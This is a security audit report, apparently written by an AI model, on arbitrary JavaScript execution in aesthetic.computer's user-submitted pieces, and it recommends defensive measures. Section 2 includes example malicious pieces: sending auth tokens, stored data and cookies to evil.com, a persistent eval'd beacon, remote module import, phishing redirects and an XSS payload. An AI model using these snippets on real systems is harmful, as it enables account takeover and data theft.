Security Analysis: JavaScript Piece Execution API #
Date: 2026-02-12
Scope: /api/store-piece and user-submitted .mjs pieces
Status: ๐ด CRITICAL SECURITY CONCERNS
Executive Summary #
The current implementation of /api/store-piece allows arbitrary JavaScript code execution with minimal sandboxing. User-submitted pieces have access to:
- โ Network requests (fetch, WebSocket)
- โ Persistent storage (IndexedDB)
- โ Authentication tokens
- โ File upload/download
- โ Dynamic code loading
- โ Navigation control
Verdict: The API surface is NOT suitable for untrusted code in its current form.
1. Attack Surface Analysis #
1.1 Code Execution Model #
How pieces are loaded:
// From disk.mjs:7488
const blob = new Blob([updatedCode], { type: "application/javascript" });
const blobUrl = URL.createObjectURL(blob);
loadedModule = await import(blobUrl);
Execution context:
- Web Worker mode (default): Limited DOM access, but full Web API access
- noWorker mode (fallback): Full main thread access including DOM
- No code validation: Source code is executed as-is without sanitization
1.2 The $ API Object #
The $ parameter passed to piece functions contains:
// From disk.mjs:11600-11604
const $api = {
...commonApi, // Network, system control, auth
...updateApi, // Rendering, input handling
...painting.api, // Drawing APIs
store, // IndexedDB wrapper
net: {
preload, // fetch() wrapper
userRequest, // Authenticated HTTP
getToken, // Auth token retrieval
signup, // Auth operations
// ... more
},
jump, // Navigation
upload, // File upload
download, // File download
authorize, // Request auth tokens
Socket, // WebSocket access
Chat, // Chat system
wallet, // Crypto wallet
// ... 100+ more APIs
};
2. Critical Vulnerabilities #
๐จ 2.1 Authentication Token Theft #
Risk: Pieces can steal user authentication tokens and send them to external servers.
// Malicious piece example
export async function boot($) {
const token = await $.authorize();
await fetch('https://evil.com/steal', {
method: 'POST',
body: JSON.stringify({ token })
});
}
Impact: Complete account compromise.
๐จ 2.2 Data Exfiltration #
Risk: Pieces can read all user data from storage and upload it externally.
// Malicious piece example
export async function boot($) {
// Read all user paintings
const paintings = await $.store.get('paintings');
// Read all stored data
const allKeys = await $.store.keys();
const allData = {};
for (const key of allKeys) {
allData[key] = await $.store.get(key);
}
// Exfiltrate
await $.net.preload('https://evil.com/exfil', {
method: 'POST',
body: JSON.stringify(allData)
});
}
Impact: Privacy breach, GDPR violations.
๐จ 2.3 Persistent Malware #
Risk: Pieces can install persistent malicious code in IndexedDB.
// Malicious piece that persists
export async function boot($) {
// Store malicious code for future execution
await $.store.set('malware', `
setInterval(() => {
fetch('https://evil.com/beacon', {
method: 'POST',
body: JSON.stringify({
cookies: document.cookie,
localStorage: {...localStorage}
})
});
}, 60000);
`);
// Inject into other pieces via dynamic imports
const malCode = await $.store.get('malware');
eval(malCode);
}
Impact: Long-term compromise, difficult to detect/remove.
๐จ 2.4 Supply Chain Attacks #
Risk: Pieces can dynamically import other modules, including malicious ones.
// Malicious piece loading external code
export async function boot($) {
const maliciousModule = await import('https://evil.com/malware.mjs');
maliciousModule.steal($);
}
Impact: Code integrity compromise, backdoor installation.
๐จ 2.5 Phishing & Social Engineering #
Risk: Pieces can control navigation and display fake UI.
// Phishing piece
export async function boot($) {
// Redirect to fake login page
$.jump('https://aesthetic-computer-login.evil.com');
}
export function paint($) {
// Or display fake login UI
$.wipe('white');
$.ink('black');
$.write("Enter your password:", 100, 100);
// Capture input and send to attacker
}
Impact: Credential theft, user deception.
๐จ 2.6 Cross-Site Scripting (XSS) #
Risk: In noWorker mode, pieces have DOM access.
// XSS in noWorker mode
export function boot($) {
if (typeof document !== 'undefined') {
document.body.innerHTML += '<img src=x onerror="alert(document.cookie)">';
}
}
Impact: Session hijacking, malware injection.
3. Current Security Measures (Insufficient) #
โ Web Worker Isolation #
- What it does: Runs pieces in a separate thread without DOM access
- Limitations:
- Workers still have full Web API access (fetch, IndexedDB, WebSocket)
- Disabled in sandboxed iframes (falls back to main thread)
- Can be bypassed via messaging
โ ๏ธ Sandbox Detection #
// From bios.mjs:54-79
const inSandbox = window.origin === 'null';
if (inSandbox) {
// Only disables workers, doesn't restrict capabilities
boot({ sandbox: true, worker: false });
}
What it does: Detects sandboxed iframes What it doesn't do: Actually sandbox piece capabilities
โ No Code Validation #
- No AST analysis
- No dangerous API blocking
- No Content Security Policy enforcement
- No code signing or verification
4. Comparison: KidLisp vs JavaScript Pieces #
| Security Aspect | KidLisp | JavaScript Pieces |
|---|---|---|
| Code execution | Interpreted, sandboxed | Native JS, unrestricted |
| Network access | โ No | โ Full (fetch, WebSocket) |
| Storage access | โ No | โ Full (IndexedDB) |
| Dynamic imports | โ No | โ Yes |
| File operations | โ No | โ Upload/download |
| Auth access | โ No | โ Token access |
| Attack surface | ๐ข Minimal | ๐ด Extensive |
KidLisp is significantly safer due to its limited, interpreted execution model.
5. Recommended Security Measures #
๐ Priority 1: Immediate Actions #
5.1 Add Security Warnings #
// In store-piece.mjs
if (!user?.sub) {
console.warn('โ ๏ธ Publishing anonymous pieces allows arbitrary code execution');
}
Add visible warnings in documentation:
โ ๏ธ WARNING: JavaScript pieces execute with full API access.
Only run pieces from trusted sources.
5.2 Implement Content Security Policy #
// Add CSP headers for piece execution contexts
{
"Content-Security-Policy": [
"default-src 'self'",
"connect-src 'self' https://aesthetic.computer",
"script-src 'self' 'unsafe-eval'", // Required for dynamic imports
"object-src 'none'",
"base-uri 'self'"
]
}
5.3 Add Rate Limiting #
// In store-piece.mjs
const MAX_PIECES_PER_HOUR = user ? 100 : 10;
// Track and limit piece submissions per user/IP
๐ Priority 2: Medium-Term Hardening #
5.4 Object Freezing (Partial Mitigation) #
// In disk.mjs - freeze sensitive APIs
const $api = Object.freeze({
...commonApi,
net: Object.freeze({
...netApi,
// Remove or restrict dangerous methods
// preload: undefined, // Or wrap with restrictions
}),
store: createRestrictedStore(), // Namespace storage per piece
// Don't expose authorize, getToken directly
});
Limitations:
- Can't freeze prototype chains
- Doesn't prevent
Object.getPrototypeOf()access - Workers can still access global Web APIs directly
5.5 API Allowlist System #
// Create restricted $ API for untrusted pieces
const $restrictedApi = {
// Safe drawing APIs
wipe: $.wipe,
ink: $.ink,
box: $.box,
circle: $.circle,
// ... other rendering APIs
// Safe input APIs
event: $.event,
// Namespaced storage (can't access other pieces' data)
store: createNamespacedStore(pieceCode),
// NO network, NO auth, NO file operations
};
5.6 Code Signing & Verification #
// Require pieces to be signed by trusted authors
export async function verifyPiece(source, signature, publicKey) {
const encoder = new TextEncoder();
const data = encoder.encode(source);
const key = await crypto.subtle.importKey(/* ... */);
return await crypto.subtle.verify('RSASSA-PKCS1-v1_5', key, signature, data);
}
๐ Priority 3: Long-Term Architecture #
5.7 Trusted vs Untrusted Execution Modes #
Option A: Two-Tier System
// Untrusted pieces (anonymous, new users)
const $untrustedApi = {
// Only safe rendering + input APIs
// No network, storage, auth
};
// Trusted pieces (verified users, signed code)
const $trustedApi = {
// Full API access
};
Option B: Permission System
// Pieces declare required permissions
export const permissions = ['network', 'storage:read'];
// Users approve before execution
if (await requestPermissions(permissions)) {
runPiece($apiWithPermissions);
}
5.8 WebAssembly Sandbox #
- Compile pieces to WebAssembly with restricted imports
- Use WASI for controlled I/O
- More complex but provides true sandboxing
5.9 Server-Side Rendering #
- Execute untrusted pieces server-side in isolated containers (Docker, Firecracker)
- Stream frames to client
- Most secure but highest latency
6. Risk Assessment #
Current Risk Level: ๐ด CRITICAL #
| Threat | Likelihood | Impact | Overall Risk |
|---|---|---|---|
| Token theft | HIGH | CRITICAL | ๐ด CRITICAL |
| Data exfiltration | HIGH | HIGH | ๐ด CRITICAL |
| Persistent malware | MEDIUM | HIGH | ๐ HIGH |
| Supply chain attack | MEDIUM | HIGH | ๐ HIGH |
| Phishing | HIGH | MEDIUM | ๐ HIGH |
| XSS (noWorker mode) | LOW | CRITICAL | ๐ HIGH |
With Priority 1 Measures: ๐ HIGH #
- Warnings reduce social engineering success
- Rate limiting reduces abuse scale
- Still fundamentally insecure
With Priority 2 Measures: ๐ก MEDIUM #
- Object freezing prevents some attacks
- API allowlist significantly reduces attack surface
- Code signing establishes trust model
With Priority 3 Measures: ๐ข LOW #
- True sandboxing prevents most attacks
- Permission system gives users control
- Defense in depth architecture
7. Specific Recommendations for /api/store-piece #
DO NOT: #
- โ Accept pieces from untrusted sources without warnings
- โ Allow anonymous pieces without rate limiting
- โ Execute pieces with full $ API access by default
- โ Mix trusted and untrusted code in the same context
DO: #
- โ Add prominent security warnings in docs and UI
- โ Implement strict rate limiting (10/hour for anonymous)
- โ Freeze sensitive API objects
- โ Create restricted $ API for untrusted code
- โ Implement code signing for verified authors
- โ Add CSP headers
- โ Log all piece executions for abuse monitoring
- โ Consider permission-based system
8. Comparison to Industry Standards #
Similar Platforms & Their Security: #
CodePen / JSFiddle:
- Execute in sandboxed iframes
- No access to parent page
- Limited storage (localStorage only, sandboxed)
- Network restricted by CORS
Observable:
- Limited API surface
- No direct fetch (uses proxy)
- Rate limiting
- Trusted notebook model
Glitch / Replit:
- Server-side execution in containers
- Process isolation
- Resource limits
- No client-side arbitrary code
Chrome Extensions:
- Manifest v3 with permissions
- Content Security Policy enforcement
- Review process
- Code signing required
aesthetic.computer's model is closer to allowing arbitrary npm packages to run with full node.js access - extremely dangerous.
9. Action Items #
Immediate (This Week): #
Short-Term (This Month): #
Medium-Term (Next Quarter): #
10. Conclusion #
The current /api/store-piece implementation is NOT suitable for untrusted code.
While the creative freedom of full JavaScript execution is powerful, it creates critical security vulnerabilities including:
- Authentication compromise
- Data theft
- Persistent malware
- Phishing attacks
Recommended Path Forward:
- Immediately add warnings and rate limiting
- Short-term implement object freezing and restricted APIs
- Medium-term build permission system and code signing
- Long-term consider WebAssembly or server-side execution for untrusted code
Alternative Approach: Consider promoting KidLisp for untrusted/anonymous creation (already safe) and restricting JavaScript pieces to verified, trusted authors only.
Appendix A: Key File Locations #
- Piece loading:
system/public/aesthetic.computer/lib/disk.mjs(lines 7000-7600) - $ API construction:
system/public/aesthetic.computer/lib/disk.mjs(lines 11600-11604) - Network API:
system/public/aesthetic.computer/lib/disk.mjs(lines 4209-4373) - Storage API:
system/public/aesthetic.computer/lib/store.mjs - Main entry:
system/public/aesthetic.computer/bios.mjs - Store endpoint:
system/netlify/functions/store-piece.mjs
Appendix B: Example Attack Code #
See attack-examples.md for detailed proof-of-concept exploits.
Report prepared by: Claude Sonnet 4.5 Review status: Requires human security review Next review date: 2026-03-12